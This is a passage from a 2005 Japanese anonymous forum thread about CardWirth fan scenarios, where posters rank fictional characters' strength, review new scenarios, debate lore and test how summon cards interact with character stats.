細かい部分やら中間部分のランクは絶対に纏まらないんだよねw

268 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:46:44 ID:M2ODWtT2
最近やったシナの感想でも書けば?

269 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:53:18 ID:+ARo4k1e
チルリルのリードミーは何度読んでも秀逸だと思う。

270 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:56:06 ID:lZh8fLkt
黄狐さんさんの新シナ祈願。

271 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:56:47 ID:kIG40ooL
実は今年に入ってまだ新シナやってない俺がいる。

272 :名無しさん@お腹いっぱい。:2005/06/13(月) 21:02:21 ID:IuXUhTZj
黄狐さんさんのはカフカネタの奴を最近初めてやったんだが、俺この人好きかもしれない。

273 :名無しさん@お腹いっぱい。:2005/06/13(月) 21:04:02 ID:lZh8fLkt
じゃあ、沈黙やって雰囲気に酔って、その後にチルリルで癒されるんだ。

274 :名無しさん@お腹いっぱい。:2005/06/13(月) 21:19:11 ID:xUXjSro7
初めてあの人のHP見た時はびびったな。
仕掛けだらけ。

275 :名無しさん@お腹いっぱい。:2005/06/13(月) 21:22:10 ID:nJR5n2SW
>>269
それを見て早速ダウンロードした。
フォルダ絵で噴いた。
ReadMeでも噴いた。
さらにHintで噴いた。

276 :名無しさん@お腹いっぱい。:2005/06/13(月) 21:35:29 ID:hvR110c2
そしてプレイしてつけられたクーポンでまた噴くわけだが。

277 :名無しさん@お腹いっぱい。:2005/06/13(月) 21:52:07 ID:hBtbt4jI
文章化すると大して強くないように見える。
やっぱり強さは演出と一つ一つの台詞だと実感。

【作品名】押忍!男闘虎塾
【名前】ミタジマヘイシチロウ
【属性】ミタジマ流喧嘩拳術の開祖にして男闘虎塾長
【姿形】大柄の男性並み。覚醒すると大きくなる。
【戦闘力】竜をも倒す、驚異的な格闘能力。実体の無い相手すら倒すことができる。
     また、鬼の力(人間の圧倒的な大きさの潜在力)を引き出して、金髪化。
     相手が倒れるか、自分が倒れるまで、凶暴な破壊の衝動を発散し続ける。
【支配力】リューンの森にある男闘虎塾を支配する。門下生は最低でも
     十数人はおり、岩を砕き、複数のチンピラを一瞬で倒せる。
【実績】門下生に襲學旅行と称して、魔法学校や屍術学校から略奪行為をさせる

278 :名無しさん@お腹いっぱい。:2005/06/13(月) 22:05:50 ID:fd0nrHWR
あれ、ミタジマって暖冬小塾のことだったか
深淵の地でのクーポンかと思ってた

279 :名無しさん@お腹いっぱい。:2005/06/13(月) 22:06:53 ID:myy4e4+W
>>277
ミタジマはまともに戦ったら鬼の強さを誇っているが、
ちゃんと戦略を立てれば勝てるのはポイント高い(つーかそれは当たり前の筈なのだが)。
そうした『地に足がついた圧倒的な強さ』も、本当の意味で相手を強く見せるコツだと思う。

280 :名無しさん@お腹いっぱい。:2005/06/13(月) 22:06:56 ID:lZh8fLkt
何ゆえ?

281 :280:2005/06/13(月) 22:07:23 ID:lZh8fLkt
>>278へのレスね

282 :名無しさん@お腹いっぱい。:2005/06/13(月) 22:11:08 ID:ndxnD4Im
…で、また格付けが始まるのか?

283 :名無しさん@お腹いっぱい。:2005/06/13(月) 22:11:16 ID:fd0nrHWR
>>280-281
喪スレであがってたツナの話になるが。
盗賊ギルドが出てきて幼女がうわああんなツナで、何故か深淵の地をクリアしたキャラでやったら、
ミタジマ流の継承者が何たら〜って流れになったんだ。

そのキャラは確か男闘虎塾はやってなかった筈…なんだが後で確認しておく。
ただの漏れの勘違いの可能性大だが。

284 :名無しさん@お腹いっぱい。:2005/06/13(月) 22:15:14 ID:nJR5n2SW
>>283
たぶんバグ。報告するが吉。

両方に対応してるはずだが、リンクを張り間違えたんだろう。

285 :名無しさん@お腹いっぱい。:2005/06/13(月) 23:16:36 ID:hBtbt4jI
んじゃ、反面教師を。

【作品名】ねねこの薬屋
【名前】十三
【属性】剣豪、ゲートキーパー
【姿形】若い猫耳男
【戦闘力】情報屋曰く、常人では越えられない壁を突破している。
     メイド曰く、本気を出せば異世界の神や魔王を一人で倒せるらしい。
【支配力】メイドやよく分からない取り巻きをはべらし、世界の平和を守っている、
【実績】気弱な冒険者と戦って侮辱したり、ロリ+強姦属性な冒険者を瞬殺する
【対策】鋼鉄の箱で瞬殺できず、シコンが効かない。某ランプの神山軍団で屠るのが吉。

286 :名無しさん@お腹いっぱい。:2005/06/13(月) 23:17:54 ID:nJR5n2SW
十三といえば東方武芸団の団長も同じ名前じゃなかったか?

287 :名無しさん@お腹いっぱい。:2005/06/13(月) 23:18:36 ID:lZh8fLkt
ホントだw

288 :名無しさん@お腹いっぱい。:2005/06/14(火) 00:00:31 ID:EKt7DK+4
そういや武芸団がランク付けから抜けてたな

289 :名無しさん@お腹いっぱい。:2005/06/14(火) 00:04:58 ID:8Lor3Ld+
カードワースの素材に関する板があると聞いたんだが、どこにあるかわかる?
素材に関して聞きたいことがあるから是非とも知りたい。

290 :名無しさん@お腹いっぱい。:2005/06/14(火) 00:07:49 ID:9vtXZV1p
>>288
あれはチームで且つ対人特化だと思う。
個人では子供狩り領主の1ランク上(十三)〜普通の兵隊よりマシ(雑兵)ぐらいかな。

>>289
ゲ製作技術にあるんじゃね?

291 :名無しさん@お腹いっぱい。:2005/06/14(火) 00:10:43 ID:chbwXsr9
http://pc8.2ch.net/test/read.cgi/gamedev/1111488283/

292 :289:2005/06/14(火) 00:34:21 ID:8Lor3Ld+
>291
どうもありがとうです。

293 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:06:05 ID:P1iJi8Wy
>>290
十三個人でもテンハーロ級はあると思うが。チームプレイが本領というのは同意。
六三四三人衆で成竜を欠員なしで倒せそうではある。

294 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:19:03 ID:i8VFFvPK
武芸団はオチが糞すぎていまいち好きになれん
内部処理の凄さを知るまでは何であんなNPCマンセーツナが人気なんだろうかと思ってた

295 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:22:25 ID:gflobCdq
オチのラストは修正済みとオモタ

296 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:30:51 ID:WH5zvuxc
昔は違ったのか?

297 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:30:58 ID:VoaSEpsL
戦闘シナと言えば武芸団と十三魔女しか知らん
他になにかいいシナってある?

298 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:33:48 ID:WH5zvuxc
それぞれの想いシリーズ(だったかな?)
戦闘戦闘また戦闘で、クリアした時には言い知れぬ達成感があった。

299 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:39:15 ID:OYoiFIKy
竜を滅せし者は?
武芸や魔女ほどギミックは無いけどさ、
PCの士気が上がれば攻撃力アップなどがよかった。

300 :名無しさん@お腹いっぱい。:2005/06/14(火) 01:48:29 ID:i8VFFvPK
>>295
ほんとだ。
流石に文句多かったんだろうな。

301 :名無しさん@お腹いっぱい。:2005/06/14(火) 02:32:53 ID:5K+3Wfhs
武芸団のオチ変わったのか?
「冒険者達が強すぎてても足も出なかったから催眠術で誤魔化して、負け犬の捨て台詞投下」だったよな?

302 :名無しさん@お腹いっぱい。:2005/06/14(火) 02:45:00 ID:v229Q4dv
>>301
基本的に変わっていないけど
ある程度冒険者に花を持たせた形になっていた

303 :名無しさん@お腹いっぱい。:2005/06/14(火) 03:11:29 ID:i8VFFvPK
>>301-302
そうそう。
大筋を変えずに修正してるのは流石だとオモタ。
だからってそんなに評価上がる訳じゃないけどな。
作者の姿勢として見習うべき所ではある。

304 :名無しさん@お腹いっぱい。:2005/06/14(火) 09:04:20 ID:kCU/tg9Y
スリーピングマットネスの人。実はヘタレと発覚。
プリンスは書く気にならん。なんとなく。

【作品名】暗黒魔術師シリーズ
【名前】カシアス=ベイス
【属性】暗黒魔術師、GF第二委員会NO2
【姿形】若い男性
【戦闘力】悪魔と契約しており、素の戦闘力は神仙以上。
     暗黒魔術(スリーピング・マッドネス):
      スタンドもどき。魂を持つ者を問答無用で精神崩壊させる。
      また、スタンドの腕から物理ビームを発射することもできる。
【支配力】国際規模の軍事企業の幹部で強大な政治力を持つ。
【実績】暗黒魔術で冒険者を追い詰めたり、機械人形を追っ払ったりする。
    GF黒幕(旧文明の支配者)の拷問を受ける。
    旧文明の魔人と戦うが返り討ちにあう。
【対策】実は魂が無く、物理無効のキャラを倒す手段が無いので、
    特殊なスライムにでも囲まれるとどうしょうもない。

305 :名無しさん@お腹いっぱい。:2005/06/14(火) 19:40:57 ID:1liiJVG4
十三は結局C辺りでいいか?

あと聞きたいんだが、
格付け妖魔だけに絞るととりあえずこんな感じでいい?
ちょっと以後の参考にしたい。

S 最強格の魔王(仮面の魔人etc)
A 広義の魔王と呼べるクラス(笑う者の悪魔、3魔人など)
B 歴史書等に載る古の妖魔(ヴァンピール(ミエナイの奴)、ライア)
C 上級妖魔(エリス〜緋桜姫)
D 中級妖魔(ミノ、グリフォン辺り)
E 下級妖魔(ゴブ、コボ等のロードクラス)
F 社会の底辺(ゴブリン、コボルト)

まあ正確には妖魔と言えん奴もいるが、その辺は愛嬌で。


306 :名無しさん@お腹いっぱい。:2005/06/14(火) 19:45:58 ID:wtnuGucU
>>305
いいんじゃないの。
Cから上が広すぎる気もするけどこんなもんだろ。

307 :名無しさん@お腹いっぱい。:2005/06/14(火) 19:47:47 ID:WaA3ryaF
スレスト乙

308 :名無しさん@お腹いっぱい。:2005/06/14(火) 19:50:29 ID:cpErbJQa
そもそもミエナイのあいつ強いのか?

309 :名無しさん@お腹いっぱい。:2005/06/14(火) 19:51:51 ID:WH5zvuxc
>>308
同意見。

310 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:01:15 ID:1liiJVG4
俺もようわからん。
ただ付き添いのねーちゃんだか何だかが、
即行殺さないとヤヴァいみたいな事言ってなかったっけ?

311 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:04:15 ID:snT3g9e8
>>310
あの対象レベルだと>>305でいうD〜Cで十二分にヤヴァイ。

312 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:10:58 ID:WH5zvuxc
依頼終了後の後日譚によると、彼女には殆ど力はないそうだ。
それどころか、一人では脱出することもままならないと。
唯一できるのが吸血による対象の吸血鬼化。

あそこまで知っといて、聖者には到底成り得ないといえるルトラが酷い。

313 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:20:30 ID:Z3O8EDeK
吸血による対象の吸血鬼化って相当ヤバいと思うが
たまったもんじゃないだろ

314 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:23:41 ID:WH5zvuxc
一応、血の交換が必要。

…そういえば氏は吸血行為はセックスのメタファーって詳しかったからもしかするとグリグリと

315 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:24:00 ID:snT3g9e8
一人で脱出も出来ないのにどうやって一人で対象を吸血するんだ?

316 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:27:34 ID:WH5zvuxc
実際に吸血鬼化させたのはグリグリだけだったらしいよ。
というか、後日譚は読まないの?

317 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:35:37 ID:snT3g9e8
>>316
俺か?>>313にレスしようと思っただけだが。
タイミング悪かったけど。

318 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:35:44 ID:1liiJVG4
俺はやったのかなり昔だったし、読んだ記憶すらなかったよ。
となると奴の実力はD〜Eか?

まあ雰囲気はあったと思うんだが。

319 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:37:44 ID:WH5zvuxc
それどころか戦闘能力という点ではただの子供。
まさか、氏が成長するヴァンパイアを作るとも思えないし。

320 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:49:55 ID:1liiJVG4
そうか…、やべえな俺全く覚えてないわ。

そうなるとアモーレの赤子辺りも不安だな。
奴は存在だけで死を振り撒くってので良かったんだっけ?

321 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:53:36 ID:WH5zvuxc
>>320
愛と死の赤子は大丈夫。
世界に破滅をもたらすほどヤバイ存在らしい。
というか、背後関係がイマイチ分からない。

322 :名無しさん@お腹いっぱい。:2005/06/14(火) 20:55:59 ID:snT3g9e8
何かアレは最強NPC臭い謎存在がいたから
そっちの方が気になる>アモーレ

323 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:06:50 ID:Szjm7zIj
流れをぶったぎって
女性一人用シナってなんかあったっけ?

324 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:08:46 ID:uGKyltg0
セシル=ネイヤーが出ないのは時代の流れか。

デジールは当初噛ませ予定だったキャラ。
作者的な思い入れはゼロらしい。

325 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:09:35 ID:snT3g9e8
>>323
つ【恋の季節】

326 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:12:18 ID:LzMpE6Dw
>>324
ニワトリ頭か。本気モードで塾長ぐらいかね?

327 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:13:42 ID:snT3g9e8
雰囲気込みならありえない>塾長くらい

328 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:14:43 ID:OYoiFIKy
>>323
男1人用ならいろいろ知ってるけど、
女1人用てのは思いつかないなあ。

329 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:15:02 ID:snT3g9e8
あ、もう一つあった

>>323
つ【風の思い出】

330 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:16:08 ID:Aqjwjcss
>>323
つ「現実」

ニワトリ頭好きだったな。普段と真面目な時のギャップがw

331 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:18:49 ID:LzMpE6Dw
>>327
そういや塾長三段変化だしなぁ。ひとつ下ぐらいか。

>>330
同じく。

332 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:31:07 ID:snT3g9e8
あの変態うざキャラが強い?
SADA儲が「サブリナはバルデゥアより強い」と言うのと同じだろ?
アホか。

>ニワトリ頭か。本気モードで塾長ぐらいかね?
本気モードって何?

333 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:35:04 ID:LzMpE6Dw
>>332
マーヴェリアっつーシナで戦える。条件割と面倒だったりするが。

334 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:36:35 ID:fCNDud9C
雰囲気重視じゃなかったっけ?

335 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:37:42 ID:uGKyltg0
その辺は先人特権。あんまり嫌味じゃないしな。

セシルにはギャグ顔モード、本気モード、リッチモードがある。
リッチモードはバランスが良く定まって無い頃の産物。
まあ、普通は勝てない。カナン王すらいなかった時代だし。

336 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:40:49 ID:5K+3Wfhs
遥か昔のツナやって、レベル20のネズミ集団と普通にエンカウントしたときはもうね

337 :名無しさん@お腹いっぱい。:2005/06/14(火) 21:47:20 ID:fCNDud9C
>>335
>その辺は先人特権。あんまり嫌味じゃないしな。
結局「雰囲気」って主観が非常の大きなウェイトを占めてるものを
入れてるから主観次第でどうとでも受け取れる
その先人特権だの嫌味じゃないだのも受けて次第だし

マーヴェリアやった上での感想だが
個人的には正直雰囲気込みで奴が強いとは思えんし
それ以上にあの作者自身のバランス信じてない
マーヴェリアのテスト版ではセシルが確かレベル15だったわけで

338 :名無しさん@お腹いっぱい。:2005/06/14(火) 22:04:02 ID:6g6qHT8D
トリ君はレイン属性だからな。
正直ここでやるよりは平和辺りとの部類の方がいいかもしれんな。

>>332
バルがサブより強いか?
SADA儲が(ry



339 :名無しさん@お腹いっぱい。:2005/06/14(火) 22:15:48 ID:uGKyltg0
ふむ、ガチ部門とネタ部門に分けるのか。
確かに、その方がゴタゴタしなくていいな。

クドラのボウェーロはマハガス以上、ディマ未満か。
素のレベルもあんまり強く無いし。

340 :名無しさん@お腹いっぱい。:2005/06/14(火) 22:27:38 ID:3vmNkoOv
>ネタ部門とガチ部門
正直そこまでやるなら別スレ立てて欲しい

341 :名無しさん@お腹いっぱい。:2005/06/14(火) 22:29:13 ID:6g6qHT8D
>>339
もちろんダスキンはガチだよな?

342 :名無しさん@お腹いっぱい。:2005/06/14(火) 22:39:13 ID:FlDhhCZW
サブリナはネタキャラだろw
なんでロンギヌスとか持ってるんだよw

343 :名無しさん@お腹いっぱい。:2005/06/14(火) 23:02:32 ID:6g6qHT8D
あれだ、サブリナは自分の武器に
魔槍の名前をつける夢見る女の子なんだよ。

ちなみにロンギじゃなくてブリューナクな。


344 :名無しさん@お腹いっぱい。:2005/06/14(火) 23:03:50 ID:3vmNkoOv
ってか「職人が伝説を真似て作ったレプリカ」とあったと思ったが。

345 :名無しさん@お腹いっぱい。:2005/06/14(火) 23:15:51 ID:6g6qHT8D
ああ、知ってる。
だからそれを見たサブがそのまま名付けたんだろ?

346 :名無しさん@お腹いっぱい。:2005/06/14(火) 23:22:23 ID:3vmNkoOv
何で刀匠が名付けたと思わないのかが謎なんだがw

347 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:14:46 ID:pyMsJGmk
とりあえず最近のシナが1.28専用しかない件について

今回のも2つともだよ・・・

348 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:17:36 ID:SQc+RGb8
新シナリオを見て、ふと、町中に罠を仕掛けて盗賊を撃退するシナを思い出した。

349 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:18:04 ID:ffJ4i3Z2
新シナ!!

うーん、俺も1.28で作るからな…
宿を移動させつつ、やるしかないんじゃない?

350 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:19:54 ID:NME21Njq
>>348
盗賊退治
だな

351 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:26:00 ID:SQc+RGb8
>>350
そうそう、それそれ。盗賊退治シナで一番印象に残ってる。

352 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:41:21 ID:NME21Njq
とりあえず新シナの世捨て人に突っ込み。
「魔力感知」とか「生命感知」は隠者の庵で「作られた」魔術じゃない。
賢者の塔で遺失してるだけ。

353 :名無しさん@お腹いっぱい。:2005/06/15(水) 00:58:27 ID:c6ZsD8bJ
ギルドの新シナの[解説]…

ここ最近、私たちの村を盗賊たちが荒らし
に来ます。どうか、盗賊たちを退治してく
ださい。どうか、盗賊たちを退治してくだ
さい。

…なんで2回言うねん('A`)


354 :名無しさん@お腹いっぱい。:2005/06/15(水) 01:09:22 ID:IrMINVj2
>>352
S一昨々年氏が起きてくれないと誤解は広まりそうだな。

>>353
ものっそい悲壮な感じが出るから演劇とかではない演出ではないが……。

355 :名無しさん@お腹いっぱい。:2005/06/15(水) 01:41:06 ID:a52hQSv+
世捨ての集落
雰囲気重視の店シナ。スキルの切り替えが面倒なのでもっとまとめてもいいのでは?と思う
バランスは見てないが回復スキルの適正が面白い。好戦的で回復魔法の適正が…と嘆く僧侶にお勧め
隠者スキルに対応しているのは作者の趣味のようなので持参しなくてもよし

盗賊狩り
ちゃんとキーコードに対応してるけど
盗賊のアジトに破魔の印があったり魔法薬があったりでなおかつ報酬1300spは高すぎやしないか?
あと盗賊や親父や冒険者の言い回しに違和感があった

356 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:09:43 ID:zpX7dSD3
世捨シナ、作者のページを見る限り捨てプリネタだね。
好きな作品だから楽しみだ。

357 :流れぶった義理スマナンダ:2005/06/15(水) 02:16:42 ID:usSDxdKs
ところで
CWの世界って銃ってどんな位置になってるの?

358 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:20:29 ID:IrMINVj2
>>356
ゲッ、マジか。
捨てプリネタは卓上板では禁忌だからな。
大きな嵐が来る予感がするぜ。

>>357
ちょっと前も似た質問があった気がするが人それぞれ。
よく見るものでは古代文明の遺産とか。

359 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:20:39 ID:+ZszLwSf
>>357
知らん、作者によってまちまちだし
一番多いのは
「遺跡から出てきたのを使うが
 1から作るのはメッチャむずい」ってのじゃないか?

360 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:22:02 ID:ffJ4i3Z2
マスケット銃なら一般流通、フリントロックやホイールロックは一部流通。
リボルバーは西部で流通。マシンガンやアサルトライフルは古代の遺産。

こんな感じだったっけ?

361 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:32:06 ID:d/Y7k/TP
>>360
それすら作者によって(ry
どんな世界観であろうと、それが作者のジャスティス。

362 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:33:07 ID:1hoJH6hS
>>360
その設定何?史実?

363 :358:2005/06/15(水) 02:33:39 ID:IrMINVj2
>>359
ケコーン

364 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:33:45 ID:Tejp8uaL
シナリオによって本当にまちまち。
Askシナリオだと「ろけっとらんちゃ?」ってぐらいだから、銃火器の知識はないっぽい。

365 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:34:36 ID:NME21Njq
銃火器の知識が多少あったって
必ずしもロケットランチャーを知ってるとは思えんがw

366 :名無しさん@お腹いっぱい。:2005/06/15(水) 03:06:22 ID:+ZszLwSf
>>360
リボルバーも遺跡じゃないか?

367 :名無しさん@お腹いっぱい。:2005/06/15(水) 03:08:09 ID:x2yWI9IW
ちょっと聞きたいんだが…
「鏡の山の食人鬼」(貼紙では「村近辺の調査依頼」)ってシナで出てくる
CPって数値なんだが、これって
「ある場所で静養する事で完全回復する」って話なんだけど
それってどこ?
わざわざ酒場まで戻って休息しても回復してなかった(´・ω・`)

…てかCPだかなんだか知らんが
常に能力値ペナルティついてまわるのウザすぎ。


368 :名無しさん@お腹いっぱい。:2005/06/15(水) 03:12:20 ID:IrMINVj2
>>367
わからんがCPってのは平江氏が初出のシステムをMNSが流用したものだから、ひょっとするとそのシナ内には無いのかも。

369 :名無しさん@お腹いっぱい。:2005/06/15(水) 03:13:58 ID:jIAvpfG9
>>367
修道士の庵

370 :名無しさん@お腹いっぱい。:2005/06/15(水) 03:31:09 ID:x2yWI9IW
>>369
おお、本当だ。thx。

…なんかこのシステムは嫌いだったなぁ。


371 :名無しさん@お腹いっぱい。:2005/06/15(水) 05:05:58 ID:yMh46/Eh
冒険者のレベルによらない難易度の設定を目指してるのかな?
成功してるかどうかは漏れにはワカランチ。

鏡〜に関して言えば、力押ししなきゃそんなにウザくもなかったような。
プレイが随分前なんで違ってたらゴメソ。

372 :名無しさん@お腹いっぱい。:2005/06/15(水) 07:47:05 ID:plCL6802
朝起きたら新シナが来てるということで早速プレイ。

盗賊狩り
1.28専用シナリオ。
台詞に違和感が感じられたが、魔法薬のアイディアは面白いと思った。
報酬も割と多いが、たまにはいいのではなかろうか。

世捨ての集落
1.28専用シナリオ。
雰囲気重視の店シナリオで、細部まで作り込められている印象を受けた。
多分バランスを破壊するような技能はないと思われる。
後、隠者サポートアイテムは結構便利そう。
絵は一部を除いて256色で、秀麗な部類にはいると思う。


>>371
鏡の山は、ラストダンジョンでえらい目に遭った。
グリエルとかグリエルとかグリエルとか。
戻ろうとしたら、扉が開かなくて泣きそうだったのを覚えてるよ。

373 :名無しさん@お腹いっぱい。:2005/06/15(水) 07:59:55 ID:hHwzwL70
やっぱ書き下ろし素材の店シナっていいなぁ・・・

374 :名無しさん@お腹いっぱい。:2005/06/15(水) 08:23:36 ID:4WqclCVD
フォーチュンやポートリオンのうんこ合成とは格が違うな

375 :名無しさん@お腹いっぱい。 :2005/06/15(水) 08:57:11 ID:yXvUBzna
           ____
        /:::::::::──┐
       /::::::::::::::::ヽ
     /":::::::::::::::::::ヽ
   /"":::::::::::::::::::::::ヽ
   |:::ヘ::::::::::::::::::::::ヽ
  ///;;;;;,,,,"""'''''─____::::::::::::|
  /\\;;;;;;;;;/≡三三''-........,,,,\:::::::|
 (:::ヽヽ;;;;彡=ェェ=,  ;;ミミ;\\:::::|
 ヽ.:::| |;;> ”=""λ  ヾヽ""==\\:::| 偉大なるソドムの王、カナンが375getじゃ!
  丶:::| |;;\.  ...., ⌒ ..,, ..,, \;;\\::|
   .|:::|;;;;;;;;;;;;;''''''(_,.-,,__,,-,,,) "''/;;;;;//:::|
 /::::/;;;;;;|ヽ/彡,..∧..,ミミ\|;;;;;/::::::|
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.|::::::|;;;;;;;;;;;;;;;;ヾ     /::::::::::/
 "'''…...,,\;;;;;;;;;;;;;;;;;;;\//:::::::::::/
      "''-..,,--''''''"""/;;----''''''''""
         "''--'''''''""
>>1 …そんな事よりも、まずはこのうっとうしい鎖を外してはくれんかね?
>>2 重畳、重畳…ようやく自由を取り戻す事が出来たわ…
>>3 わしは浅はかな猿ども…このスレの人間を根絶やしにせねばならん
>>4 なんと!わしと戦おうと言うのか?
>>6 愚かさの報いじゃ…この場で朽ち果て、哀れなる屍を晒すがよい!
>>7 愚かな…このわしを相手に我が剣で挑もうと言うのか?
>>8 いかん、魔力が…!!
>>9 わしも少々大人げなかったやも知れん。無知蒙昧な猿ども相手に本気になるとはな
>>10-100 下僕達よ、わしの寝所をうろつく汚らわしいゾンビやグールどもを早々に片づけるんじゃ
>>101-1000 今宵より毎夜、お前達は一人ずつ冥府の扉をくぐる。自らの番を脅えながら待つがいい

ゆめゆめ忘れるな!このスレは呪われたのだ!!

376 :名無しさん@お腹いっぱい。:2005/06/15(水) 09:30:24 ID:p0vX6pKj
>>375
元々は5get用のか……書き換えミスは恥ずかしいぜ

377 :名無しさん@お腹いっぱい。:2005/06/15(水) 10:35:18 ID:WQAB0Iy6
>>373
てか専用素材ってモッタイナイ

378 :名無しさん@お腹いっぱい。:2005/06/15(水) 11:01:59 ID:2CwAwjB5
ラスー苦はいつになったら復旧しますか?

379 :名無しさん@お腹いっぱい。:2005/06/15(水) 13:20:09 ID:XJeJWkLb
>>375
おせぇよででくるの
スレできてからずっと待ってたんだぞ

380 :名無しさん@お腹いっぱい。:2005/06/15(水) 19:29:13 ID:Ts7ZbSOQ
アイテムと召還獣は行動力の影響うけないんだよね?

381 :名無しさん@お腹いっぱい。:2005/06/15(水) 20:04:07 ID:ffJ4i3Z2
受ける。が、ASKシナのアイテムと召喚獣にレベル比ダメージはついていない。
成功率だけかな?

382 :名無しさん@お腹いっぱい。:2005/06/15(水) 20:15:34 ID:Ts7ZbSOQ
なら
レベル比ダメージを組み込んどけば
攻撃力も上がる?

383 :381:2005/06/15(水) 20:18:24 ID:ffJ4i3Z2
スマン、書き方が悪かった。
能力判定の扱いは技能カードとかと一緒。

でも、昔はアイテムカードに適正アイコンが無かったし、ASKはアイテムは
使用者の能力にあまり依存しないって考えだったのかもしれないって意味。

384 :名無しさん@お腹いっぱい。:2005/06/15(水) 20:28:34 ID:4hbMkAiK
召喚獣カードと行動力の関係について調査してみた。

試験召喚獣…魔剣ポボス(Lv比2+吸収Lv比1)
試験シナ……体力測定 Ver.2.00
結論から言うと威力は行動力に影響を受けてないっぽい。

385 :名無しさん@お腹いっぱい。:2005/06/15(水) 20:33:00 ID:ffJ4i3Z2
>>384
マジ!?
俺、知ったかぶってたみたいだ、スマネ。
勉強になった、情報サンクス。

386 :名無しさん@お腹いっぱい。:2005/06/15(水) 20:36:09 ID:4hbMkAiK
>>385
いや、俺も実際調査するまでは-10と+10でダメージに大きな差が出ると思ってた。

387 :名無しさん@お腹いっぱい。:2005/06/15(水) 22:41:01 ID:zpX7dSD3
>>384
……マジ……つまり、召喚獣とかとスキルは、内部的には厳然と分かれているんだ……
凝ったスキルの設計とかを考える際に、えらく効いてくるなぁ

388 :名無しさん@お腹いっぱい。:2005/06/15(水) 22:50:14 ID:Tz68RM7o
適正は効いてるんだよな?

389 :名無しさん@お腹いっぱい。:2005/06/15(水) 22:53:21 ID:4hbMkAiK
>>388
どうだろ。ちょっと確認してくる。

390 :名無しさん@お腹いっぱい。:2005/06/15(水) 22:59:39 ID:4hbMkAiK
適正はきいてるな。
Lv10で筋力+好戦が14と、Lv12で筋力+好戦がマイナスなのとでは前者のほうが高かった。
試験召喚獣およびシナは>>384に同じ。

391 :名無しさん@お腹いっぱい。:2005/06/15(水) 23:03:09 ID:Tz68RM7o
そっか
適正まで効いてなかったらどうしようかと思ったよ
サンクス

392 :名無しさん@お腹いっぱい。:2005/06/15(水) 23:53:04 ID:h6n5f7Yq
物凄く前、それこそ何年か前だけど、
これと全く同じ実験してここに貼った事があったな。
結果は今回と同じだったけど、
Ver1.28でも同じかどうか確かめてくれたのは非常に嬉しい。

393 :382:2005/06/16(木) 00:43:04 ID:GymgfmpS
亀レスだけど
ありがとん。

394 :名無しさん@お腹いっぱい。:2005/06/16(木) 10:17:46 ID:S/1MeuyB
つ【適性】

395 :名無しさん@お腹いっぱい。:2005/06/16(木) 10:18:30 ID:qXASzC7m
>>394
あー、そっちが正しいほうだな。うん。

396 :名無しさん@お腹いっぱい。:2005/06/16(木) 11:02:31 ID:silgMJ+I
死霊術の館を今更やってみたが、召喚獣指定されてなくて何の意味もないLV9技能だとか
使用にクーポンが必要だがクーポン入手方法が無くて、
使用したとたんPCが死ぬ鎌技能とかあるんだけど。
高LV技能が欲しかったから両方とも買っちゃってえらい目に合った。

397 :名無しさん@お腹いっぱい。:2005/06/16(木) 11:13:17 ID:Bo+yI0K7
>>396
メール汁

398 :名無しさん@お腹いっぱい。:2005/06/16(木) 11:33:35 ID:n4nQt50j
そのクーポン、店主は持ってるんだな

399 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:08:32 ID:kp2ApLYR
ひょっとして、「ボクチンの萌えPCを店主にしましたよ店シナ」ってやつか。

400 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:46:52 ID:O+1ncJJA
ちょいと聞きたいんだがカードマニアっていうシナはどこにあるの?
それの関連シナは結構見つかったんだが肝心の本体がどこを探しても無い。
面白そうだからやってみたいんだが…


401 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:50:34 ID:T39YcqA2
残念ながら、すでに公開停止。
俺もやってみたい。

402 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:54:32 ID:Bo+yI0K7
ぶっちゃけカードマニア自体は糞。
というか設定を考案しただけみたいなもの。
